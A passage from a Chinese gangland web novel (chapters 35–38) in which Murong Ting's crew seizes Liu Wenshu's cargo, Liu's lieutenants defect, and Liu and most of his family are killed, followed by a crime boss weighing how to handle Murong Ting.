赵岩斩钉截铁:“大爷!现在就算陈凡知道了货在哪,他也来不及插手!我们只需争分夺秒,把货转移出去,立刻脱手!买家我来联系!”刘文殊听完闭上眼,疲惫地靠进沙发,挥了挥手,算是默许。赵岩立刻转身去布置。
可惜,人算不如天算!赵岩这边刚安排取货,慕容廷安插的暗桩就送出了消息。“老狐狸,动作倒快!”慕容廷接到密报,冷笑一声,眼中寒光乍现。他立刻召来陈海:“啊海!你马上带影队的兄弟,给我把货劫了!到了地方,自然有人接应!狼组那边,我亲自安排!”陈海心领神会,无需多言,领命后迅速召集影队和犬组精锐。
“目标:劫货!有人接应,具体是谁,廷哥没说,但必有安排!各组,按预定计划,行动!”人员瞬间分组,融入夜色。陈海亲自带队,去往赵岩所在的破旧工厂。
工厂内,赵岩正紧张地指挥着:“快!装车!运到指定地点!”电话里,他还在遥控着其他几处同时进行的转移。突然一声巨响,工厂的大铁门被一辆狂暴的黑色悍马狠狠撞飞!烟尘弥漫中,数辆车紧随其后冲入。车门洞开,陈海一马当先跳下车,眼神如刀。
赵岩瞳孔骤缩,认出了陈海!但他毕竟是刘文殊的心腹,强压下震惊,面上不动声色,甚至缓步上前:“陈海?什么风把你吹到这破工厂来了?”他边说,边对着手机低语一句:“遇袭!速援!”随即挂断。
陈海咧嘴
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一笑,也上前一步:“听说赵大军师在这儿,廷哥想请你过去喝杯茶。这破地方,哪配得上您这身份?难不成是被刘文殊贬来当苦力了?”他身后的手下爆发出哄笑。
赵岩眼神一冷:“今天既然来了,就别想走了!”他猛地一挥手!身后众人齐刷刷亮出黑洞洞的枪口!“哼!看看谁先躺下!”陈海毫不示弱,闪电般拔枪,“动手!”
**炸响!但开枪的并非陈海的人,而是赵岩身后那群“陈凡借来的精锐”!**没有射向赵岩,反而精准地射向赵岩带来的原班人马!猝不及防下,刘文殊的人或瞬间毙命,或被死死按倒在地!一个领头模样的汉子收起枪,走到陈海面前,沉声道:“陈爷派我们来帮忙。自己人。”
陈海瞬间了然,嘴角勾起残酷的笑意。他大步走到被两名“自己人”反剪双臂的赵岩面前,用枪口挑起他的下巴:“赵大军师,聪明一世,现在该狂得起来吗?”
赵岩不看陈海,死死盯着那个陈凡的手下,眼中是难以置信的怒火和**:“为什么?!陈凡!他为什么要帮慕容廷?!”
那汉子面无表情的看了他一眼,没有说话。陈海替他回答了,声音带着嘲弄:“陈凡和我廷哥,是过命的交情!你不会不知道吧?”
赵岩惨然一笑,眼中尽是看透世事的苍凉:“过命交情?哈!这世上只有永恒的利益,哪有什么狗屁交情!你们太天真了!我不信他陈凡安了什么好心!慕容廷他这样的人,竟也信这鬼话?!”他猛地提高音量,像诅咒般嘶吼:“大爷这次栽了!我认!但我告诉你,慕容廷他信陈凡这种兄弟情,迟早要被陈凡生吞活剥!你们等着瞧吧!哈哈哈”
“砰——!”**打断了赵岩疯狂的笑声。陈海面无表情地收起冒烟的枪口。赵岩眼中的光芒瞬间熄灭,身体重重倒下。“动作快!按计划搬货!警察快到了!”陈海冷酷地命令,又转向那群陈凡的人,你们,一起上车撤!”剩下的人迅速搬空货物,驾车扬长而去,只留下满地狼藉和尸体。
不多时,狼组的人带着刘文殊的援兵赶到。眼前惨状让他们目瞪口呆!然而,还没等他们从震惊中缓过神,刺耳的警笛声已由远及近!“警察!不许动!放下武器!”狼组的人反应极快,趁乱溜走。刘文殊那些懵在原地的援兵,则被呼啸而至的警察团团包围,按倒在地。
“黑吃黑!**灭口!人赃并获!”带队的警官厉声喝斥。那些倒霉蛋想喊冤,可满地的尸体和残留的证据,让他们百口莫辩!就这样,他们稀里糊涂地成了陈海一伙的替罪羊,被押上警车。
同样的剧本,在吉市其他几处转移点同步上演。刘文殊的根基,如同被蛀空的巨树,在慕容廷精心策划的这场风暴中,正发出令人心悸的断裂声。大厦将倾,似乎就在眼前了。
第三十六章:叛离
慕容廷看着堆积如山的货箱,嘴角咧开的笑容几乎要撕裂脸颊。然而,当目光触及那些装着致命火力的**箱时,他眼中贪婪的火苗瞬间冷却,被一丝精明的算计取代。没有半分犹豫,他大手一挥:“原封不动,全给我送到警察厅门口去!”
此刻的刘文殊坐在沙发上,客厅弥漫着死寂和硝烟未散的焦糊味,脸色铁青,攥紧的拳头指节发白,仿佛要把沙发扶手捏碎。他的胸膛剧烈起伏,每一次呼吸都带着沉重的、压抑的嘶声。巨大的吊灯投下冰冷的光,将他眼底翻腾的暴怒和绝望照得无所遁形。
沙发旁,蝎子烦躁地踱着步,三十出头的年纪,一身腱子肉绷在紧身黑衣下。他身边的白蝎则像一尊没有表情的石雕,静默得可怕。
“现在就剩我们哥几个了,大爷,”白蝎的声音干涩、冰冷“您拿个章程吧?怎么接慕容廷这招?”
刘文殊喉咙里嗬嗬作响,还没挤出半个字,就被蝎子暴躁地打断:“操!当初听我的多好?直接带人杀过去,平了他慕容家!你偏要玩阴的,玩脱了吧?军师让人弄**吧?活他妈该!都他妈是报应!”刘宇唾沫横飞,手指几乎戳到他老子的鼻尖。原来蝎子是刘文殊的儿子,真名叫刘宇。
刘文殊猛地抬头,布满血丝的眼睛死死钉在儿子脸上,那目光像是要把刘宇生吞活剥。刘宇非但不怕,反而梗着脖子,语气更加刻毒:“瞪我?瞪我有屁用!老爸,你把我捧上‘蝎子’的位子,可哪次真让我做主?现在好了,老窝都让人端了,这不是报应是什么?!”他狠狠一脚踹在旁边的红木茶几上,昂贵的茶具哗啦碎了一地。
刘文殊气得浑身发抖,一口气堵在胸口,眼前阵阵发黑。白蝎适时地插话,声音依旧平稳,却带着不容置疑的紧迫感:“现在说这些晚了。必须立刻反打,找到慕容廷的藏身处!否则,等他晚上摸上门,咱们连翻盘的机会都没了!”
刘文殊喘着粗气,像破风箱一样:“反打?说得轻巧!人呢?人都打光了!连军师都折进去了!”提到军师,他牙齿咬得咯咯作响,对陈凡的恨意几乎要冲破天灵盖,恨不得立刻生啖其肉。
“我去!”刘宇猛地拍案而起,眼中闪烁着嗜血的光芒,“不就是慕容廷吗?老子带人把他揪出来,剁了喂狗!回头直接杀去容市,端了他的老巢!”
刘文殊被儿子这没脑子的狂妄彻底点燃了,刚要破口大骂,白蝎却再次开口:“我看行。警察现在帮慕容廷,是看他赢了。但只要胜负未分,他们不会轻易下场搅局。”他顿了顿,目光扫过刘文殊,“现在,确实需要一记狠拳。”
刘文殊的心沉到了谷底。他不是不想打,是手里真没几张能打的牌了。更深的忧虑其实是白蝎!这个跟了刘宇十几年的兄弟,暗地里早就培植了自己的势力。如果连这个蠢儿子都放出去,自己身边可就真的成了光杆司令,任由白蝎拿捏了。他浑浊的眼珠在白蝎和儿子脸上转了几圈,最终艰难地下了决定:“白蝎,还是你去。我不放心这个废柴!”最后两个字,他几乎是咬着牙缝挤出来的。
刘宇瞬间炸了:“去**废柴?!白蝎**能比我强哪儿去?”他像一头被激怒的公牛,抓起旁边一个水晶酒杯狠狠砸在地上,碎片四溅。“你就是老糊涂了!”骂完,他头也不回地冲出了大门。
看着儿子愤怒的背影消失在门口,刘文殊疲惫地闭上眼。气归气,心底那丝残存的父性终究占了上风,他不能真让这儿子去送死。
白蝎嘴角几不可察地勾了一下,没理会刘宇的咆哮,转身离开。刘文殊那点心思,他看得透透的。
走出压抑的别墅,晚风带着凉意。白蝎对贴身保镖低声吩咐:“把咱们自家兄弟,全叫到老地方,有大事。”保镖心领神会,迅速消失在阴影里。
很快,在白蝎自己一处隐蔽的据点里,他核心圈的打手齐聚一堂。烟雾缭绕,气氛凝重。白蝎坐在主位,指间的烟头明明灭灭。
“早提醒过刘文殊,别去招惹慕容廷,”白蝎的声音低沉,带着一丝嘲弄,“他和他那个蠢弟弟一个德行,不见棺材不掉泪!现在好了,底裤都输光了。叫大家来,是商量咱们兄弟的出路!”
打手黎鹏性子最急,一拍桌子:“干**!先做了慕容廷,回头再收拾刘文殊这老狐狸!地盘咱们自己拿!”
旁边的缪嘉立刻摇头:“鹏哥,不妥!这么干,咱们就成了刘文殊手里的刀,替他挡枪子儿,好处捞不着,还得惹一身骚!”
黎鹏瞪眼:“这也不行那也不行,你说怎么办?”缪嘉没回答,目光转向白蝎:“老大,您心里有谱了吧?”
白蝎脸上终于露出一丝罕见的、带着寒意的微笑:“知我者,缪嘉。”他掐灭烟头,眼神锐利如鹰,“收拾东西,带上所有家伙和人,咱们北上,投奔‘黑三爷’!”
“黑三爷?!”这个名字像一块巨石投入死水,激起一片压抑的惊呼。自青帮和老蒋退守台湾,后又借着两岸缓和渗透回内陆,这位黑三爷就是如今内陆青帮的掌舵人,雄踞几大沿海城市,势力滔天。
缪嘉眉头紧锁:“三爷,会收留咱们吗?咱们现在可是丧家之犬。”“会!”白蝎斩钉截铁,“这年头,谁嫌手里的刀快?咱们兄弟就是最好的刀!他黑三现在跟香港的14K、三合会都撕破脸了,正是用人之际!咱们去,是雪中送炭!”
缪嘉仍有顾虑:“去了怕是要给人当枪使啊。”“当枪?”白蝎冷笑一声,眼中闪过精光,“无妨!先站住脚再说。记住,枪口冲哪边,有时候拿枪的人说了不算。”他环视众人,“我自有计较!兄弟们,信我吗?”
短暂的沉默后,黎鹏第一个站起来:“老大指哪打哪!”其他人也纷纷表态:“追随老大!”“好!”白蝎霍然起身,“事不宜迟,通知所有能带走的兄弟,立刻动身!这吉市的浑水,咱们不趟了!”一场精心策划的叛逃,在刘文殊眼皮底下悄然展开。
当白蝎的车队浩浩荡荡驶离时,刘文殊还在别墅二楼窗前眺望。看着那长龙般的车队,他枯槁的脸上竟挤出一丝扭曲的希望,白蝎果然够义气,这是要替他去拼命了!然而,手下连滚带爬冲进来报告的嘶喊,如同晴天霹
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雳:“大爷!不好了!白蝎的人马,全往南边跑了!头都没回!”
一口腥甜的热血猛地从刘文殊口中喷出,地毯上溅开刺目的红花。他眼前一黑,天旋地转,直挺挺向后栽倒,彻底不省人事。
再次醒来,已是华灯初上。昏暗的灯光下,几个灰头土脸的老家伙围在床边,都是他早年打天下的“元老”。看着这些被自己多年猜忌、打压,如今也只剩些残兵败将的老伙计,刘文殊心头涌起一股迟来的、巨大的悔恨。元老郭振宇颤巍巍开口:“大爷,大势已去,留得青山在,咱们降了吧?”
“降你妈!”一声炸雷般的怒吼响起。刘宇像一头暴怒的雄狮冲过来,一把揪住郭振宇的衣领,将他像小鸡仔一样提离地面,布满血丝的眼睛死死盯着他:“老不死的,再说一个字,老子现在就送你下去见阎王!”他另一只手已经按在了腰间的刀柄上。
这凶狠的护主姿态,竟让刘文殊濒死的心头涌起一股久违的暖流和酸楚,儿子终究是儿子!还有血性!他挣扎着撑起身体,声音嘶哑却带着孤注一掷的疯狂:“降?慕容廷会给我们活路吗?做梦!只有拼死一战!刘宇!”
“爸!”刘宇猛地甩开郭振宇,转身应道。“你去!把城里还能喘气的兄弟,全给我纠集起来!陈海那王八蛋假意逃跑,晚上必定杀个回马枪!你带人去他们回来的必经之路埋伏,打他个措手不及!”刘文殊眼中闪烁着最后一丝赌徒般的疯狂光芒,他扫视着噤若寒蝉的元老们:“你们!把手里藏着掖着保命的那些人,统统交出来,我**你们也活不了!”
这话如同在滚油里泼进冷水,瞬间炸锅!元老们面如土色,纷纷哀嚎:“大爷!使不得啊!那可是最后保命的本钱…”“是啊大爷,人都给了刘宇少爷,我们怎么办啊…”
“都他妈闭嘴!”刘宇的咆哮压过所有声音。他猛地抽出腰间那把厚背**,寒光一闪!离他最近、叫得最凶的一个元老,脖颈处瞬间飙射出一道刺目的血箭!头颅歪斜,身体软软瘫倒,眼睛瞪得溜圆,写满了难以置信的恐惧。温热的鲜血溅在周围元老的脸上、身上,浓重的血腥味瞬间弥漫开来。
死寂!绝对的死寂!只剩下粗重的喘息和牙齿打颤的咯咯声。刘宇提着滴血的刀,刀尖缓缓划过地面,发出令人牙酸的摩擦声。他野兽般的目光扫过每一张惨白的脸,声音如同地狱的寒风:“现在,还有谁不满意?”
“没…没有!没有!”元老们抖得像秋风中的落叶,争先恐后地表态。“很好!”刘宇咧嘴,露出一个狰狞的笑容,“现在,立刻!给你们的人打电话!叫他们到老仓库集合!打完电话再滚!”他长记性了,这次绝不放人离开视线,否则这些老狐狸转眼就能跑光。
刘文殊调动着最后一丝气力,仿佛看到了黑暗中一丝翻盘的曙光。他算准了陈海的回马枪,却万万没算到,真正的杀招是王彪带领的精锐,早已化整为零,悄无声息地潜入了吉市的每一个角落,正冷冷地注视着他们这最后的困兽之斗。夜幕彻底降临,一场血腥的清算,即将拉开帷幕。
第三十七章:刘文殊末路
车停在容市熟悉的街道,张霆琛、李辰浩一行人风尘仆仆地归来,心头的第一件事便是探望干妈。推开那扇承载了无数记忆的家门,苏旭几乎是踉跄着扑向母亲的怀抱,声音哽咽:“妈!我们回……”
话音未落,一声清脆响亮的耳光,狠狠扇在苏旭脸上!力道之大,让他的头猛地偏向一边,脸颊瞬间浮起红痕。
“为了我?!”干妈的声音因愤怒而尖利颤抖,眼中燃烧着痛心和失望“你就敢让你的兄弟去替你卖命、替你涉险?!小琛为你,为咱们这个破家,豁出去多少?你心里没数吗?!”她指着张霆琛,手指都在发颤,“你摸摸良心!你对得起他吗!”
苏旭被打懵了,嘴唇翕动着,一个字也吐不出来,巨大的愧疚感像巨石般压得他喘不过气。张霆琛立刻上前一步,挡在母子之间,温声劝慰:“干妈!您消消气!您看,我们这不都安全回来了吗?再说了,小旭为了护着我,自己还挨了刀呢!”他试图用轻松的语气化解这沉重的气氛。
“知错了吗?!”干妈却像一座爆发的火山,根本不听劝,布满血丝的眼睛死死盯住苏旭,手指几乎戳到他鼻尖。
苏旭本就对张霆琛满怀亏欠,此刻被母亲当众戳穿,更是无地自容。他猛地一转身,“咚”的一声闷响,竟是直挺挺跪在了张霆琛面前!头颅深深埋下,肩膀剧烈地抖动,泪水无声地砸落在冰冷的地板上,仿佛要用这最卑微的姿态赎罪。空气凝固了,只剩下他压抑的抽泣声。
干妈看着儿子这副模样,胸口剧烈起伏,终究是没再斥责下去。张霆琛心一紧,赶忙俯身去扶:“小旭!快起来!你这是干什么!”陈曦和李辰浩也反应过来,一左一右去搀他。
然而,干妈的声音再次响起,带着不容置疑的严厉:“你的这些兄弟,是咱们家的再造恩人!你怎么敢!你怎么能这么算计人家!”每一个字都像鞭子抽在苏旭心上,他的眼泪落得更凶了。张霆琛他们其实理解苏旭当时的处境和苦衷,并未真正介怀,但谁也没料到干妈竟如此不依不饶,执意要替他们讨这个“公道”。
张霆琛情急之下,也跪在了干妈面前:“干妈!您要是不让小旭起来,我今天就跪在这儿陪他,不起来了!”李辰浩和陈曦对视一眼,毫不犹豫,也紧跟着齐刷刷跪下。一时间,客厅里跪倒一片。
干妈看着眼前这几个情同骨肉的孩子,眼圈也红了,最终无奈地叹了口气,声音软了下来:“起来!都给我起来!”听到她松口,张霆琛他们如蒙大赦,互相搀扶着站起身,脸上露出一丝劫后余生般的苦笑。唯独苏旭,像被钉在了原地,任凭张霆琛怎么拉拽,都纹丝不动,只是沉浸在巨大的自责中无声恸哭,急得众人手足无措。
过了好半晌,苏旭才猛地抬起头,泪痕交错的脸庞上满是决绝。他声音嘶哑,一字一句如同立誓:“从今往后!我苏旭这条命,我全家人的命,都是哥哥姐姐们给的!我苏旭要是再做出一星半点对不起你们的事,天打雷劈,不得好死!”这掷地有声的毒誓,让在场所有人心中都涌起一股暖流和欣慰。
至此,干妈紧绷的脸色才真正缓和下来。她上前一步,用力将儿子从地上拉起,双手捧住他泪湿的脸,目光严肃而深沉:“孩子!你从小就有担当,妈知道!可妈更要你懂得恩义二字的分量!再有一次,我宁可没有你这个儿子!”她的话语斩钉截铁,绝非虚言恫吓。
这场家庭风波终于平息,众人关切地询问干妈的伤势,见她精神头十足,行动也无碍,这才彻底放下心来。刚坐下聊了没几句,门外匆匆进来一人,对着张霆琛躬身,声音带着不容置疑的紧迫:“少爷,该动身了。廷哥有令,您必须待在**别墅,此刻出来已是破例!”
“知道了。”张霆琛沉声应道。
“我跟你去!”陈曦立刻起身。
“还有我!”苏旭抹去残泪,眼神坚定。
张霆琛略一思忖:“小旭和小曦留下照顾干妈吧,我和大哥去就行。”
“都去!”干妈一挥手,语气不容反驳,“人多好照应!我这把老骨头硬朗着呢,用不着你们守!”她眼中精光闪烁,那股子久病初愈后的韧劲儿和难缠劲儿,让几个年轻人暗暗咋舌,最终只能依了她。
与此同时,慕容廷布下的天罗地网已然收紧。陈海、王彪率领的精锐人马倾巢而出。这次,慕容家更是抽调了数千兄弟助阵。这这人并未集中一处,而是如同数把淬毒的尖刀,分兵数路,直插刘文殊残存势力的各个要害。刘文殊虽已日薄西山,但百足之虫死而不僵,外围的根基仍在,必须一处处拔除!
战斗一打响,第三队刚进入预定区域,便一头撞进了刘宇精心设下的埋伏圈!刀光剑影瞬间撕裂了夜的宁静。刘宇冷笑着从阴影中踏出,一把扯掉上衣,露出精壮胸膛上那条狰狞咆哮的过肩龙!凶光毕露,煞气逼人!
“来者何人?!”第三队头目洪伟横刀厉喝,警惕地盯着这个气势凶悍的对手。“将死之人,不配知道爷爷名号!”刘宇狞笑一声,手中大刀带着凄厉的风声,当头便劈!洪伟反应极快,侧身险险避过,刀锋擦着鼻尖掠过,惊出一身冷汗!好快的刀!念头未落,刘宇的第二刀已如跗骨之蛆般横扫而至,刀势连绵不绝,狠辣异常!
周围刘宇的手下见老大动手,顿时如打了鸡血般狂吼着扑上:“杀啊——!”喊杀声震天动地。洪伟的手下虽也悍勇,但人数劣势加上被伏击的慌乱,很快便落了下风,不断有人惨叫着倒下。洪伟本人更是被刘宇凌厉的快刀逼得左支右绌,险象环生!
就在洪伟心神微分之际,刘宇眼中寒光爆射,抓住破绽,一刀如毒蛇吐信,狠狠劈中洪伟左肩!血花飞溅!洪伟闷哼一声,剧痛让他踉跄后退,试图拉开距离。
“想跑?留下狗命!”刘宇得势不饶人,刀势如**,步步紧逼,刀刀不离洪伟要害!眼看洪伟就要命丧刀下!“兄弟撑住!哥哥来也!”一声炸雷般的怒吼撕裂战场!只见一个身影带着大队人马旋风般杀到,正是慕容景云麾下猛将徐飞扬!他人如其名,气势如虹!
“海叔料定有埋伏,老子就带兄弟们抄他后路来了!怎么样,还能打吗兄弟?”徐飞扬冲到洪伟身边,声若洪钟。洪伟咬牙按住血流如注的肩膀,眼中凶光毕露:“死不了!干**!”
徐飞扬咧嘴一笑,露出森森白牙,手中**猛地向前一指,咆哮道:“弟兄们!给老子碾碎他们!”他身后如狼似虎的援兵早已按捺不住,如同决堤的洪流般咆哮着冲入战团!徐飞扬在帮中素有“张飞”之称,手下兄弟个个悍不畏死,气势瞬间逆转!
刘宇见来人如此凶猛,心中也是一凛,提刀喝问:“哪来的虾兵蟹将,敢坏爷爷好事?!”
“送你下地狱的人!”徐飞扬狂笑一声,毫不废话,手中**化作一道匹练寒光,疾风骤雨般攻向刘宇!刀势大开大阖,却又快如闪电,逼得刘宇连连后退,竟一时只有招架之功!
“前日云少刚传我一式新招,今日正好拿你祭刀!”徐飞扬暴喝一声,双臂猛地一展,整个人如同陀螺般疾速旋转起来!手中**划出无数道致命的银色弧光,将周身空间完全封锁!只听得一阵令人牙酸的裂帛声和金属交击的爆鸣!
刀光骤停!徐飞扬稳稳收刀而立,面色冷峻。而对面的刘宇,动作僵在原地,胸前赫然多出了七八道深可见骨的恐怖伤口!鲜血如同喷泉般狂涌而出!他难以置信地低头看着自己破碎的胸膛,喉咙里发出“嗬嗬”的怪响。
“老大!”刘宇的手下目睹此景,哪里还敢恋战?发一声喊,竟丢下重伤的老大,转身就亡命奔逃!“哼,乌合之众!”徐飞扬啐了一口,眼中满是轻蔑,随即振臂高呼:“给老子追!一个不留!”
他这才转身,一把扶住摇摇欲坠的洪伟,咧嘴笑道:“咋样?伤得不轻吧?叫你小子平时不好好练!”洪伟疼得龇牙咧嘴,没好气地回怼:“呸!技不如人呗!哪像你风
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光,云少亲自指点刀法!”“嘿!赶明儿哥亲自教你!”徐飞扬哈哈大笑,两人相视而笑,豪气干云。鲜血与硝烟中,兄弟情谊更显炽烈。
刘宇的惨败,如同压垮骆驼的最后一根稻草。刘文殊残存的据点如同多米诺骨牌般接连崩塌。不到一夜,其地盘已被扫荡近半!刘文殊知道大势已去,连夜收拾细软,带着妻儿老小,如同丧家之犬般仓皇逃向地下停车场,企图趁乱溜走。
幽暗的车库,只有几盏惨白的顶灯闪烁着。刘文殊的手刚摸到车门把手,一个冰冷戏谑的声音如同鬼魅般在他身后响起:“刘大爷,这么晚了,带着一家人是要去哪儿度假啊?”
刘文殊浑身一僵,如同被冰水浇透,缓缓转过身。阴影中,慕容廷的身影如同死神般踱步而出,嘴角噙着一丝残酷的冷笑。
“是你?!慕容廷!”刘文殊声音发颤,面如死灰,“你…你想干什么?!”话一出口,他自己都觉得荒谬可笑。穷途末路,任何挣扎都显得苍白无力。
“拦住他!给我拦住他!”刘文殊如同溺水者抓住最后一根稻草,歇斯底里地对仅剩的保镖吼道,同时猛地拉开车门想把家人塞进去。
“呵。”慕容廷鼻腔里发出一声轻蔑的冷哼。几声沉闷的枪响几乎同时响起!精准而冷酷!刘文殊那几个忠心耿耿的保镖连反应都来不及,便如同破麻袋般栽倒在地,血泊迅速蔓延。与此同时,数条黑影从停车场的柱子后闪出,冰冷的枪口瞬间抵住了刘文殊及其家人的后脑勺,将他们死死按在冰冷的车身上。
刘文殊被粗暴地拖拽到慕容廷面前,如同待宰的羔羊。慕容廷居高临下地俯视着他,眼神冰冷:“刘老大,此时此刻,有何感想?”
刘文殊彻底崩溃了,涕泪横流,扑通跪倒,死死抱住慕容廷的腿:“慕容廷,不…廷哥!我认栽!你杀了我!杀了我!求你放过我老婆孩子!他们是无辜的!我给你磕头了!求求你!放过他们吧!”
“放过?”慕容廷猛地一脚将他踹开,皮鞋在冰冷的地面发出刺耳的摩擦声,“早知今日,何必当初?若今日易地而处,你会放过我慕容廷一家老小吗?!你动我儿子那一刻起,就注定了这个结局!”
话音落下的瞬间!
“砰!”刘文殊的妻子应声倒地,眉心一点殷红。
“不!”刘文殊目眦欲裂,发出野兽般的哀嚎,却被死死按住,动弹不得。
“砰!”刘文殊白发苍苍的老父亲,闷哼一声,软倒在地。
慕容廷面无表情,像欣赏一场残酷的戏剧,命令手下将刘文殊的头死死扳向他的家人,强迫他眼睁睁看着至亲之人,在一声接一声的枪响中,相继倒在血泊之中!
最后,只剩下一个蜷缩在角落,吓得连哭都忘了,浑身筛糠般发抖的小男孩,那是刘文殊年仅六岁的小儿子。
慕容廷踱步到小男孩面前,高大的身影完全笼罩了这小小的身躯。他蹲下身,冰冷的手指抬起孩子满是泪痕和恐惧的小脸,眼中似乎掠过一丝极淡的波动,声音低沉如同叹息:“可怜啊……”
“慕容廷!畜生!他还是个孩子!你放过他!我求你了!放过他!”刘文殊发出绝望到极点的嘶吼,做着最后的挣扎。
回应他的,是慕容廷亲自抬手,毫不犹豫扣动**的一枪。刘文殊的嘶吼戛然而止,眉心炸开一朵血花,身体重重栽倒,死不瞑目。
枪口还冒着淡淡的硝烟。慕容廷站起身,最后看了一眼那个因极度恐惧而彻底呆滞的小男孩。他俯下身,低沉而冰冷的声音如同魔咒,清晰地送入孩子耳中:“你是无辜的。好好活着。等你长大了,想替你爹报仇尽管来找我慕容廷。”
他顿了顿,声音里透着一丝难以言喻的复杂。“不过我真心希望,你别走上和你父亲一样的路。”说完,他不再看那孩子一眼,转身,大步流星地走入车库的幽暗深处,身影很快被阴影吞噬。只留下身后一片死寂的血泊,和一个在巨大恐惧中彻底失语的孩子。
第三十八章:五爷的势力
身旁的保镖这是说话了:”廷哥,不斩草除根吗,万一以后…”慕容廷的背影在灰蒙蒙的天光下显得有些佝偻。他摇摇头,声音低沉得像压着千斤巨石:“等他能报仇?那时我的仇,早该报完了。留着吧。”他顿了顿,喉结滚动了一下,努力维持着语调的平稳,“你们给他寻一户好人家,收养。”
保镖们垂首应“是”,没人敢抬头。只有离得最近的那个,眼角余光瞥见,慕容廷那刀削斧凿般的冷硬侧脸上,竟无声地滑下两行清泪,在沾染了硝烟和灰尘的脸颊上冲出两道湿痕。那泪水来得突兀,去得也快,仿佛只是错觉。
他猛地转身,拉开车门,正要弯腰坐进去。“大哥!”另一名保镖快步上前,声音压得极低,却带着一股血腥气,“吴青找到了。要…”他做了个抹脖子的动作。
慕容廷的动作停滞在车门前。他缓缓直起身,没有回头,目光投向远处被战火熏黑的楼宇轮廓。空气仿佛凝固了几秒,只有风吹过废墟的呜咽声。他最终开口,每一个字都像淬了冰的刀子:“杀。处理干净点,抬回市区分尸,扔街头显眼的地方。”他微微侧过脸,眼神如最寒冷的冬夜,“我要让所有人,清清楚楚地看到,背叛我慕容廷的下场!”
这一战,如同平地惊雷,瞬间炸翻了整个地下世界。慕容廷!这个名字一夜之间成了所有人口中谈论的焦点。他竟只用了一天一夜,就将盘踞吉市多年的刘文殊势力连根拔起,彻底踩在了脚下!消息像瘟疫般蔓延,各种流言蜚语甚嚣尘上。有人说他早有预谋,借机扩张版图;有人骂他手段酷烈,**全家,畜生不如。但流传最广、也最令人心悸的,是那个说法,慕容廷,他想取五爷而代之,要当青龙会真正的龙头老大!
这顶谋逆的帽子,沉重无比,足以压垮任何一方豪强。然而,风暴眼中心的五爷,龙五,却一反常态地保持着令人窒息的沉默。阳市,一栋守卫森严、奢华至极的别墅内,气氛凝重得能拧出水来。
青龙会的核心元老们齐聚一堂,目光都聚焦在主位上那位须发微白、不怒自威的老者身上,正是五爷龙五。他慢悠悠地拨弄着紫砂壶盖,袅袅茶香似乎也无法驱散空气中的紧张。
坐在五爷右手边的马尾率先按捺不住,声音带着急切:“五爷!慕容廷这事,不能再拖了!必须早做决断,否则夜长梦多啊!”他的声音在寂静的客厅里显得格外刺耳。
周围几个元老立刻像找到了主心骨,纷纷附和:“是啊五爷!”“慕容廷这小子太狂了!”“得防着他反咬一口!”五爷眼皮都没抬,嘴角噙着一丝难以捉摸的笑意,声音依旧平稳:“慕容廷?我了解他,不至于有那份心思。这次,不是事出有因么?”他指的是慕容廷宣称的寻仇理由。
“人心隔肚皮啊,五爷!”马尾急得几乎要站起来,“当务之急,是立刻派人去接管吉市!那地方,不能再让他慕容廷攥在手里了!”五爷终于抬眼,目光平静地扫过众人,带着一种无形的压力:“他慕容廷,每年交上来的钱,是你们所有人里最多的,甚至比刘文殊、陈凡交得都多。这一点,”他顿了顿,加重了语气,“在座的各位,谁做到了?”
一句话,如同冷水泼下,刚才还嗡嗡作响的客厅瞬间鸦雀无声。元老们面面相觑,脸上都有些不自在。慕容廷的上贡数额,是他们私下都眼红却无法企及的事实。
五爷看着他们窘迫的样子,轻笑一声,仿佛看穿了一切:“你们啊,就是嫉妒人家能干。放心,吉市那边,我已经安排陈鼎去接管了。”
“陈鼎?!”众人闻言,神色各异,惊疑、恍然、算计,都在眼神中飞快闪过。这个陈鼎,曾是慕容廷的左膀右臂,后来因故退出江湖,摇身一变成了南方地产界呼风唤雨的大亨。派他去…
马尾立刻抓住这点:“五爷!陈鼎他可是慕容廷的旧部!就算有旧怨,谁能保证他们私下没联系?万一…”
五爷对这个忠心却过于耿直的心腹,真是又爱又恨。他摆摆手,打断马尾,语气带着一丝不易察觉的冷意:“有联系又如何?只要我们能抓住他们任何一丝勾连的把柄,”他五指缓缓收拢,仿佛攥住了什么,“不正是除掉他们的绝佳理由么?”
一股寒意瞬间弥漫开来。元老们恍然大悟,五爷这招,是放长线钓大鱼!既要稳住慕容廷,更要引蛇出洞,等着抓他的错处!众人心领神会,再不敢多言,纷纷起身,知趣地告辞。马尾张了张嘴,最终也无奈地跟着退了出去。
待客厅彻底安静,五爷身后阴影里,无声无息地走出一个精悍的中年人。他是五爷的贴身保镖,跟了五爷二十多年,是真正的心腹。
“五爷,”保镖的声音低沉,“我还是不明白,您为何如此回护慕容廷?万一他真反水,我们付出的代价太大了。”
五爷端起精致的茶盏,轻轻吹拂着极品铁观音浮起的嫩叶,眼神深邃:“那你告诉我,吉市这块烫手山芋,我现在能派谁去接?”他抿了口茶,缓缓道,“慕容廷对吉市,是志在必得。我若硬抢他的战果,他必定怀恨在心,迟早是个祸患。不如先顺着他,喂他块肉。这小子骨子里有股江湖人的一字,只要顺着**捋,暂时还能用。至于反?”五爷放下茶盏,发出一声几不可闻的轻响,“他还没那个斤两。”
保镖还想再劝,五爷却抬手制止了他:“这事暂且不提。我问你,这次那个…叫什么来着?”“张霆琛。”保镖立刻接上。
“对,张霆琛,”五爷眼神变得锐利,“如果他真是慕容廷的种…且不论他是哪个儿子,就冲慕容廷为了这小子,不惜雷霆手段,一天之内抹平吉市这说明他慕容廷并非传言中那般冷血无情!可是…”五爷话锋陡然一转,带着浓重的疑惑,“十几年前,他怀着孕的女人被人**,他为什么能忍?为什么一点动静都没有?甚至没有找任何人寻仇?!这说不通!”
保镖也陷入沉思:“或许…凶手是他惹不起的人?”五爷眼中精光一闪:“没错!那你想想,十几年前,慕容廷得罪过或者认识的人里,有几个是他惹不起的?”
“惹不起的,屈指可数。认识的倒是不少。”保镖谨慎地回答。“这就对了!”五爷身体微微前倾,仿佛在布一张无形的网
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,“我有两个猜测:第一,当年那件事,是有人给慕容廷下了一个天大的套!幕后黑手,是想借他这把快刀,去杀某个目标。慕容廷他一直在隐忍!第二,就是真有他当时无法撼动的仇家。如果是第一种…”五爷的声音陡然变冷,“那布局的人,心思可就深得可怕了!”
“若真是第一种,”保镖追问,“您觉得会是谁?”
“现在还不知道,”五爷眼神幽深,“你去,仔细查查十几年前那桩**。掘地三尺,也要把当年是谁设的局,给我挖出来!”保镖领命,却又忍不住担忧:“您既然猜到慕容廷背负血仇,仇家可能深不可测,就不怕引火烧身吗?”
